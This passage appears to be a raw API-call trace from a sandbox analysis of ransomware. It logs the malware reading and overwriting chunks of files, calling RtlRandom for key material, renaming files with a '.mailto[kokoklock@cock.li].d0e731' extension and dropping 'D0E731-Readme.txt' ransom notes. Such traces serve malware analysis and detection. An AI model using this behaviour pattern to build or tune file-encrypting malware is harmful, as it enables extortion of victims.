hFile=0x42c, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29c3f930, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x29c3f930*=0x4096, lpOverlapped=0x0) returned 1 [0083.561] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x9d6da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd118 [0083.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fc88 [0083.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d3e8 [0083.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d3e8) returned 1 [0083.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d668 [0083.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d370 [0083.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d370) returned 1 [0083.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0083.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd118) returned 1 [0083.562] WriteFile (in: hFile=0x42c, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29c3f930, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x29c3f930*=0x4096, lpOverlapped=0x0) returned 1 [0083.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.562] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x135530, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.562] ReadFile (in: hFile=0x42c, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29c3f930, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x29c3f930*=0x4096, lpOverlapped=0x0) returned 1 [0083.573] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x135530, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0083.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0083.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf38 [0083.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf38) returned 1 [0083.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf38 [0083.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf88 [0083.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0083.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0083.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0083.574] WriteFile (in: hFile=0x42c, lpBuffer=0x348d230*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29c3f930, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesWritten=0x29c3f930*=0x4096, lpOverlapped=0x0) returned 1 [0083.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.574] WriteFile (in: hFile=0x42c, lpBuffer=0x342cda8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29c3f98c, lpOverlapped=0x0 | out: lpBuffer=0x342cda8*, lpNumberOfBytesWritten=0x29c3f98c*=0x20, lpOverlapped=0x0) returned 1 [0083.574] WriteFile (in: hFile=0x42c, lpBuffer=0x342d668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29c3f98c, lpOverlapped=0x0 | out: lpBuffer=0x342d668*, lpNumberOfBytesWritten=0x29c3f98c*=0x20, lpOverlapped=0x0) returned 1 [0083.574] WriteFile (in: hFile=0x42c, lpBuffer=0x342cf38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29c3f98c, lpOverlapped=0x0 | out: lpBuffer=0x342cf38*, lpNumberOfBytesWritten=0x29c3f98c*=0x20, lpOverlapped=0x0) returned 1 [0083.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0083.574] WriteFile (in: hFile=0x42c, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29c3f994, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x29c3f994*=0x8, lpOverlapped=0x0) returned 1 [0083.574] WriteFile (in: hFile=0x42c, lpBuffer=0x29c3f9ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29c3f994, lpOverlapped=0x0 | out: lpBuffer=0x29c3f9ac*, lpNumberOfBytesWritten=0x29c3f994*=0x4, lpOverlapped=0x0) returned 1 [0083.574] WriteFile (in: hFile=0x42c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29c3f994, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x29c3f994*=0x4, lpOverlapped=0x0) returned 1 [0083.574] WriteFile (in: hFile=0x42c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29c3f994, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x29c3f994*=0x6c, lpOverlapped=0x0) returned 1 [0083.574] WriteFile (in: hFile=0x42c, lpBuffer=0x342cec0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29c3f994, lpOverlapped=0x0 | out: lpBuffer=0x342cec0*, lpNumberOfBytesWritten=0x29c3f994*=0x20, lpOverlapped=0x0) returned 1 [0083.574] WriteFile (in: hFile=0x42c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29c3f994, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x29c3f994*=0x4, lpOverlapped=0x0) returned 1 [0083.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cec0) returned 1 [0083.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d028) returned 1 [0083.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0083.575] CloseHandle (hObject=0x42c) returned 1 [0083.575] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x34869f0 [0083.575] wcscpy (in: _Dest=0x34869f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" [0083.575] wcscat (in: _Dest=0x34869f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.mailto[kokoklock@cock.li].d0e731" [0083.575] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js.mailto[kokoklock@cock.li].d0e731")) returned 1 [0083.576] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0083.576] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34869f0) returned 1 [0083.576] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js", dwFileAttributes=0x20) returned 0 [0083.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c098 [0083.576] wcscpy (in: _Dest=0x348c098, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\" [0083.576] wcscat (in: _Dest=0x348c098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\D0E731-Readme.txt" [0083.576] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\d0e731-readme.txt")) returned 0xffffffff [0083.576] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0083.581] WriteFile (in: hFile=0x7c4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x29c3f990, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x29c3f990*=0x481, lpOverlapped=0x0) returned 1 [0083.582] CloseHandle (hObject=0x7c4) returned 1 [0083.582] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c098) returned 1 [0083.582] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccb70) returned 1 [0083.582] RtlExitUserThread (Status=0x1) Thread: id = 1184 os_tid = 0x108c [0083.488] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js")) returned 0x20 [0083.488] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js", dwFileAttributes=0x20) returned 1 [0083.488] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0083.489] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x29cbf780 | out: lpFileSize=0x29cbf780*=3046842) returned 1 [0083.489] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x2e7db6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.489] ReadFile (in: hFile=0x3f0, lpBuffer=0x29cbf754, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29cbf750, lpOverlapped=0x0 | out: lpBuffer=0x29cbf754*, lpNumberOfBytesRead=0x29cbf750*=0x4, lpOverlapped=0x0) returned 1 [0083.536] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cda8 [0083.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d348 [0083.536] NtQuerySystemTime (in: CurrentTime=0x29cbf72c | out: CurrentTime=0x29cbf72c*=132121176414298159) returned 0x0 [0083.536] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x4c1cd760 [0083.536] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x9c1ce763 [0083.536] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x406c292e [0083.536] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x44a504cf [0083.536] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x9396b547 [0083.536] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x707af9be [0083.536] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x84bdb06d [0083.536] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0xed6d4d4a [0083.536] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0xb78bf994 [0083.536] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0xff8c491d [0083.536] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0xcbdf10bc [0083.536] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x30f7b8aa [0083.536] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x5856d627 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x2ed96fb7 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x48ed2ab [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x95ca702d [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x7c1ad16f [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0xfc0e9096 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0xd382ce38 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x1f0e880a [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x46fb504 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x94b1e0d8 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0xd8744c11 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0xc3abffc2 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x48cce487 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x3e72ea8d [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0xdf2558b9 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0xd91f43a2 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0xb3278fa3 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0xa1ad0d40 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0x302748c6 [0083.537] RtlRandom (in: Seed=0x29cbf738 | out: Seed=0x29cbf738) returned 0xe30ca966 [0083.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0083.548] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0083.548] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.548] ReadFile (in: hFile=0x3f0, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29cbf6ec, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x29cbf6ec*=0x4096, lpOverlapped=0x0) returned 1 [0083.559] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0083.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d2f8 [0083.559] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d2d0 [0083.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0083.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.560] WriteFile (in: hFile=0x3f0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29cbf6ec, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x29cbf6ec*=0x4096, lpOverlapped=0x0) returned 1 [0083.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.560] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x17767e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.560] ReadFile (in: hFile=0x3f0, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29cbf6ec, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x29cbf6ec*=0x4096, lpOverlapped=0x0) returned 1 [0083.577] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x17767e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd118 [0083.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fc88 [0083.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0083.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0083.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0083.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cec0 [0083.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0083.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0083.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0083.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd118) returned 1 [0083.577] WriteFile (in: hFile=0x3f0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29cbf6ec, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x29cbf6ec*=0x4096, lpOverlapped=0x0) returned 1 [0083.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0083.578] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x2e3d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.578] ReadFile (in: hFile=0x3f0, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29cbf6ec, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x29cbf6ec*=0x4096, lpOverlapped=0x0) returned 1 [0083.583] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x2e3d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0083.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0083.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0083.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0083.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0083.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0083.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf88 [0083.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0083.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0083.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0083.584] WriteFile (in: hFile=0x3f0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29cbf6ec, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x29cbf6ec*=0x4096, lpOverlapped=0x0) returned 1 [0083.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0083.584] WriteFile (in: hFile=0x3f0, lpBuffer=0x342d2d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29cbf748, lpOverlapped=0x0 | out: lpBuffer=0x342d2d0*, lpNumberOfBytesWritten=0x29cbf748*=0x20, lpOverlapped=0x0) returned 1 [0083.584] WriteFile (in: hFile=0x3f0, lpBuffer=0x342cec0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29cbf748, lpOverlapped=0x0 | out: lpBuffer=0x342cec0*, lpNumberOfBytesWritten=0x29cbf748*=0x20, lpOverlapped=0x0) returned 1 [0083.584] WriteFile (in: hFile=0x3f0, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29cbf748, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x29cbf748*=0x20, lpOverlapped=0x0) returned 1 [0083.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0083.584] WriteFile (in: hFile=0x3f0, lpBuffer=0x342d320*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29cbf750, lpOverlapped=0x0 | out: lpBuffer=0x342d320*, lpNumberOfBytesWritten=0x29cbf750*=0x8, lpOverlapped=0x0) returned 1 [0083.584] WriteFile (in: hFile=0x3f0, lpBuffer=0x29cbf768*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29cbf750, lpOverlapped=0x0 | out: lpBuffer=0x29cbf768*, lpNumberOfBytesWritten=0x29cbf750*=0x4, lpOverlapped=0x0) returned 1 [0083.584] WriteFile (in: hFile=0x3f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29cbf750, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x29cbf750*=0x4, lpOverlapped=0x0) returned 1 [0083.584] WriteFile (in: hFile=0x3f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29cbf750, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x29cbf750*=0x6c, lpOverlapped=0x0) returned 1 [0083.584] WriteFile (in: hFile=0x3f0, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29cbf750, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x29cbf750*=0x20, lpOverlapped=0x0) returned 1 [0083.584] WriteFile (in: hFile=0x3f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29cbf750, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x29cbf750*=0x4, lpOverlapped=0x0) returned 1 [0083.585] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.585] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d550) returned 1 [0083.585] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.585] CloseHandle (hObject=0x3f0) returned 1 [0083.585] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430b00 [0083.585] wcscpy (in: _Dest=0x3430b00, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js" [0083.585] wcscat (in: _Dest=0x3430b00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js.mailto[kokoklock@cock.li].d0e731" [0083.585] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js.mailto[kokoklock@cock.li].d0e731")) returned 1 [0083.586] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0083.587] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430b00) returned 1 [0083.587] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js", dwFileAttributes=0x20) returned 0 [0083.587] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c098 [0083.587] wcscpy (in: _Dest=0x348c098, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\" [0083.587] wcscat (in: _Dest=0x348c098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\D0E731-Readme.txt" [0083.587] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\d0e731-readme.txt")) returned 